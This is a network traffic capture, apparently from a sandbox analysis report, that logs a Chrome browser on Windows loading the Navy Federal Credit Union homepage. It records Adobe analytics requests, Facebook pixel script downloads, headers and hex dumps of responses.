2024-05-24 22:45:52 UTC	614	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:45:52 GMT p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:45:45 GMT; SameSite=Lax; vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 48 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:45:52 UTC	48	IN	Data Raw: 7b 22 6d 69 64 22 3a 22 31 39 34 37 31 36 35 34 32 37 31 30 34 31 39 35 35 30 38 30 33 39 30 33 33 32 34 34 38 30 38 35 31 33 31 32 36 37 22 7d Data Ascii: {"mid":"19471654271041955080390332448085131267"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49798	66.235.152.156	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:52 UTC	445	OUT	GET /rest/v1/delivery?client=navyfederalcu&sessionId=acc9edf75c184210ac74e72cc44d0f35&version=2.7.0 HTTP/1.1 Host: navyfederalcu.tt.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:53 UTC	450	IN	HTTP/1.1 405 Method Not Allowed date: Fri, 24 May 2024 22:45:53 GMT content-type: application/json;charset=UTF-8 vary: accept-encoding referrer-policy: strict-origin-when-cross-origin server: jag strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close transfer-encoding: chunked
2024-05-24 22:45:53 UTC	67	IN	Data Raw: 33 64 0d 0a 7b 22 73 74 61 74 75 73 22 3a 34 30 35 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 27 47 45 54 27 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 7d 0d 0a Data Ascii: 3d{"status":405,"message":"Request method 'GET' not supported"}
2024-05-24 22:45:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49817	157.240.252.13	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:54 UTC	540	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:54 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-05-24 22:45:54 UTC	1705	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), battery=(self), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-heigh
2024-05-24 22:45:54 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-05-24 22:45:54 UTC	14632	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-05-24 22:45:54 UTC	16384	IN	Data Raw: 63 74 6f 72 5f 63 6f 6e 66 69 67 3b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 3d 61 2e 70 61 72 61 6d 65 74 65 72 5f 73 65 6c 65 63 74 6f 72 73 3b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 61 3d 63 28 61 2c 68 29 3b 76 61 72 20 64 3d 62 28 61 2c 42 6f 6f 6c 65 61 6e 29 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 64 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 7b 70 61 72 61 6d 65 74 65 72 5f 73 65 6c 65 63 74 6f 72 73 3a 64 7d 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 7c 7c 28 74 Data Ascii: ctor_config;if(a==null\|\|(typeof a==="undefined"?"undefined":i(a))!=="object")return null;a=a.parameter_selectors;if(Array.isArray(a)){a=c(a,h);var d=b(a,Boolean);if(a.length===d.length)return{parameter_selectors:d}}return null}function k(a){if(a==null\|\|(t
2024-05-24 22:45:54 UTC	16384	IN	Data Raw: 6e 74 73 55 74 69 6c 73 22 29 2c 72 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 73 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 49 73 49 6f 73 49 6e 41 70 70 42 72 6f 77 73 65 72 22 29 2c 73 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 55 52 4c 55 74 69 6c 22 29 2c 74 3d 73 2e 67 65 74 55 52 4c 50 61 72 61 6d 65 74 65 72 2c 75 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 56 61 6c 69 64 55 72 6c 22 29 2c 76 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 52 65 73 6f 6c 76 65 4c 69 6e 6b 22 29 3b 73 3d 66 2e 67 65 74 Data Ascii: ntsUtils"),r=f.getFbeventsModules("signalsFBEventsGetIsIosInAppBrowser"),s=f.getFbeventsModules("SignalsFBEventsURLUtil"),t=s.getURLParameter,u=f.getFbeventsModules("SignalsFBEventsGetValidUrl"),v=f.getFbeventsModules("SignalsFBEventsResolveLink");s=f.get
2024-05-24 22:45:54 UTC	16384	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 56 61 6c 69 64 55 72 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 29 7b 76 61 72 20 6a 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6a 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6a 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 61 3d 6e 65 77 20 55 52 4c 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 63 61 74 63 68 28 61 29 7b 72 Data Ascii: ;return k.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsGetValidUrl",function(){return function(f,g,h,i){var j={exports:{}};j.exports;(function(){"use strict";j.exports=function(a){if(a==null)return null;try{a=new URL(a);return a}catch(a){r
2024-05-24 22:45:54 UTC	1751	IN	Data Raw: 74 68 46 69 65 6c 64 73 28 7b 74 61 72 67 65 74 44 6f 6d 61 69 6e 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 65 6e 64 70 6f 69 6e 74 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 75 73 65 50 61 74 68 43 6f 6f 6b 69 65 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 5b 22 62 6f 6f 6c 65 61 6e 22 5d 28 29 29 2c 66 61 6c 6c 62 61 63 6b 44 6f 6d 61 69 6e 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 7d 29 29 2c 65 76 65 6e 74 73 46 69 6c 74 65 72 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 6f 62 6a 65 63 74 57 69 74 68 46 69 65 6c 64 73 28 7b 66 69 6c 74 65 72 69 6e 67 4d 6f 64 65 3a 62 2e 61 6c 6c 6f 77 4e 75 6c 6c 28 62 2e 73 74 72 69 6e 67 28 29 29 2c 65 76 65 6e 74 4e 61 6d Data Ascii: thFields({targetDomain:b.allowNull(b.string()),endpoint:b.allowNull(b.string()),usePathCookie:b.allowNull(b["boolean"]()),fallbackDomain:b.allowNull(b.string())})),eventsFilter:b.allowNull(b.objectWithFields({filteringMode:b.allowNull(b.string()),eventNam
2024-05-24 22:45:54 UTC	14633	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 5f 6f 70 74 73 5b 61 5d 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 3f 63 28 64 28 62 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 62 5b 61 5d 3d 3d 3d 21 30 7d 29 3a 5b 5d 7d 7d 5d 29 3b 72 65 74 75 72 6e 20 61 7d 28 29 3b 6c 2e 65 78 70 6f 72 74 73 3d 61 7d 29 28 29 3b 72 65 74 75 72 6e 20 6c 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 50 61 72 61 6c 6c 65 6c 46 69 72 65 43 6f 6e 66 69 67 54 79 70 65 64 65 66 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 Data Ascii: :function(a){var b=this._opts[a];return b!=null?c(d(b),function(a){return b[a]===!0}):[]}}]);return a}();l.exports=a})();return l.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEventsParallelFireConfigTypedef",function(){return function(g,h,i,j){v
2024-05-24 22:45:54 UTC	16384	IN	Data Raw: 73 2e 61 70 70 65 6e 64 28 63 2c 61 5b 63 5d 29 7d 29 7d 29 3b 66 3d 6f 2e 74 72 69 67 67 65 72 28 70 28 62 29 29 3b 66 21 3d 6e 75 6c 6c 26 26 6d 28 66 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 21 3d 6e 75 6c 6c 26 26 6d 28 6e 28 61 29 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 3d 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 7c 7c 6e 65 77 20 64 28 29 2c 62 2e 63 75 73 74 6f 6d 50 61 72 61 6d 73 2e 61 70 70 65 6e 64 28 63 2c 61 5b 63 5d 29 7d 29 7d 29 3b 69 2e 74 72 69 67 67 65 72 28 62 29 3b 66 3d 65 2e 74 72 69 67 67 65 72 28 62 29 3b 69 66 28 6c 28 66 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 29 29 72 65 74 75 72 6e 3b 66 3d 68 2e 74 72 69 67 67 65 72 28 62 29 3b 69 66 28 6c 28 66 2c 66 75 6e Data Ascii: s.append(c,a[c])})});f=o.trigger(p(b));f!=null&&m(f,function(a){a!=null&&m(n(a),function(c){b.customParams=b.customParams\|\|new d(),b.customParams.append(c,a[c])})});i.trigger(b);f=e.trigger(b);if(l(f,function(a){return a}))return;f=h.trigger(b);if(l(f,fun
2024-05-24 22:45:54 UTC	16384	IN	Data Raw: 2c 74 3d 73 2e 6c 65 6e 67 74 68 3b 66 75 6e 63 74 69 6f 6e 20 75 28 61 29 7b 69 66 28 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 22 75 6e 64 65 66 69 6e 65 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 20 61 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 61 3d 3d 3d 6e 75 6c 6c 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 2e 6b 65 79 73 20 63 61 6c 6c 65 64 20 6f 6e 20 6e 6f 6e 2d 6f 62 6a 65 63 74 22 29 3b 76 61 72 20 62 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 71 2e 63 61 6c 6c 28 61 2c 63 29 26 26 62 2e 70 75 73 68 28 63 29 3b 69 66 28 72 29 66 6f 72 28 63 3d 30 3b 63 3c 74 3b 63 2b 2b 29 71 2e 63 61 6c 6c 28 61 2c 73 5b 63 5d 29 Data Ascii: ,t=s.length;function u(a){if((typeof a==="undefined"?"undefined":i(a))!=="object"&&(typeof a!=="function"\|\|a===null))throw new TypeError("Object.keys called on non-object");var b=[];for(var c in a)q.call(a,c)&&b.push(c);if(r)for(c=0;c<t;c++)q.call(a,s[c])

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49833	63.140.39.22	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:56 UTC	3448	OUT	GET /b/ss/nfcuprod/1/JS-2.23.0-LDQM/s31932123085610?AQB=1&ndh=1&pf=1&t=24%2F4%2F2024%2018%3A45%3A53%205%20240&sdid=407637231FEA6FC0-3B5A54C86C1B7AF4&mid=19471654271041955080390332448085131267&aamlh=6&ce=UTF-8&pageName=nfo%3Ahome&g=https%3A%2F%2Fwww.navyfederal.org%2F&c.&getVisitNum=4.2&.c&cc=USD&aamb=RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y&v1=nfo&c4=6%3A45PM&v4=6%3A45PM&c5=Friday&v5=Friday&c11=Build%20Date%3A%202024-05-23T17%3A41%3A33Z%20%7CJS%3A%202.23.0%20%7CECID%3A%205.5.0&c15=AEM&v15=AEM&v30=nfo%3Ahome&c45=D%3Dv45&v45=2024-05-24%2018%3A45%3A46&c46=19471654271041955080390332448085131267%7C1&v46=19471654271041955080390332448085131267%7C1&c51=D%3Dg&c59=D%3Dv59&v59=Mozilla%2F5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit%2F537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome%2F117.0.0.0%20Safari%2F537.36&v62=Do%20Not%20Track%20Disabled&v63=GPC%20is%20Disabled&v64=false&c65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v65=Navy%20Federal%20-%20NFO-AEM%20Websites%7Cproduction&v [TRUNCATED] Host: analytics.navyfederal.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bm_sz=C98C612E331275F90CF452AA828D169C~YAAQVLMUAgtBzI6PAQAA4gnIrBexPK2buvaIlAsjLxHVP3Ie+QbggMzzw9sXydGC7RuXQc57KDoKbKGMsAJw7f/COKM3KgIvCZ9AQuXHr8oI+HqT9VO2nDfY/067C9LIxx8PUvottpnmyP3OVPYfZ84yh+Yqaem1XupVyT0ELtQ5QhFUx/bHZMMeKwxZOr+QpV3rJYax/bCAkOR6im+Tq4Dtf84guDjrm9whq6VRhANhWPEYna/xmLmunZymSfPUtFqz+9b3gutKDkj1YFcc3Fd4MkXiWnoqeCkTOFvxevSVEQiA+nEP/jIsT6IlywPh6xE+k2I7s1PqKrj15k1MHTuMS0S/xQh0cn3UIIOezLDuDD440A86dMeks06UsbDiordvXXoMH8rI~3421766~3490627; at_check=true; _abck=21D1C4FBE0AED4A77782CD6A6455FF7F~0~YAAQVLMUArVCzI6PAQAApSXIrAtP/lgerEAD3d4syX3Lqa1oG7kKzOq6+AeiQbZ79CKhqHTbXIUZwKMpizhvYE46ly/SAaAXbsfKNi4V9Cplt1c1KnCrkjEi9201HRV9HymZEVif/VfI8o6RyJaHsZiN+deKnDjRYHEVV7Tg0ocuDOsqtlSnmNRecku4LI/T7cJ5Wo6LFAvnz3DjpH68xIMzMh+hsDozKB8KLeOWrIPEZUlhRGgrBZOf1T8RrJfaG9UEyADOwGoMC7hp9jdacCRU77FpfNZaTs1/P2H1Z+SAInkkBFIEG0dMqHv2NBzr105ZUfJfIZPeRNA4Hrf3XHFQpVuaAXQQ1yGxb1dW5OQhta11HuBlWXMPZleyYZAjH7Fx3Mpr2IDtpK9fAi+NndgzCSamP5UXhgXSH2M=~-1~\|\|-1\|\|~-1; AMCVS_9BD537045330573C0A490D44%40AdobeOrg=1; s_ecid=MCMID%7C19471654 [TRUNCATED]
2024-05-24 22:45:56 UTC	731	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Fri, 24 May 2024 22:45:56 GMT expires: Thu, 23 May 2024 22:45:56 GMT last-modified: Sat, 25 May 2024 22:45:56 GMT pragma: no-cache p3p: CP="This is not a P3P policy" server: jag set-cookie: s_ecid=MCMID%7C19471654271041955080390332448085131267; Path=/; Domain=navyfederal.org; Max-Age=63072000; Expires=Sun, 24 May 2026 22:45:45 GMT; etag: 3686350580386988032-4618237176676852149 vary: * content-type: image/gif;charset=utf-8 content-length: 43 strict-transport-security: max-age=31536000; includeSubDomains cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-05-24 22:45:56 UTC	43	IN	Data Raw: 47 49 46 38 39 61 02 00 02 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 02 00 02 00 00 02 02 84 51 00 3b Data Ascii: GIF89a!,Q;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49835	157.240.252.13	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:45:56 UTC	1317	OUT	GET /signals/config/125275241484882?v=2.9.156&r=stable&domain=www.navyfederal.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:45:56 UTC	1498	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;script-src .fbcdn.net .facebook.net 'unsafe-inline' 'unsafe-eval' blob: data: 'self';style-src data: blob: 'unsafe-inline' facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;connect-src .fbcdn.net .facebook.net wss://.fbcdn.net attachment.fbsbx.com blob: 'self';img-src 'self' data: blob: facebook.net .facebook.net fbcdn.net .fbcdn.net fbsbx.com .fbsbx.com;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=c&minimize=0;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-05-24 22:45:56 UTC	1730	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), battery=(self), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-heigh
2024-05-24 22:45:56 UTC	1500	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 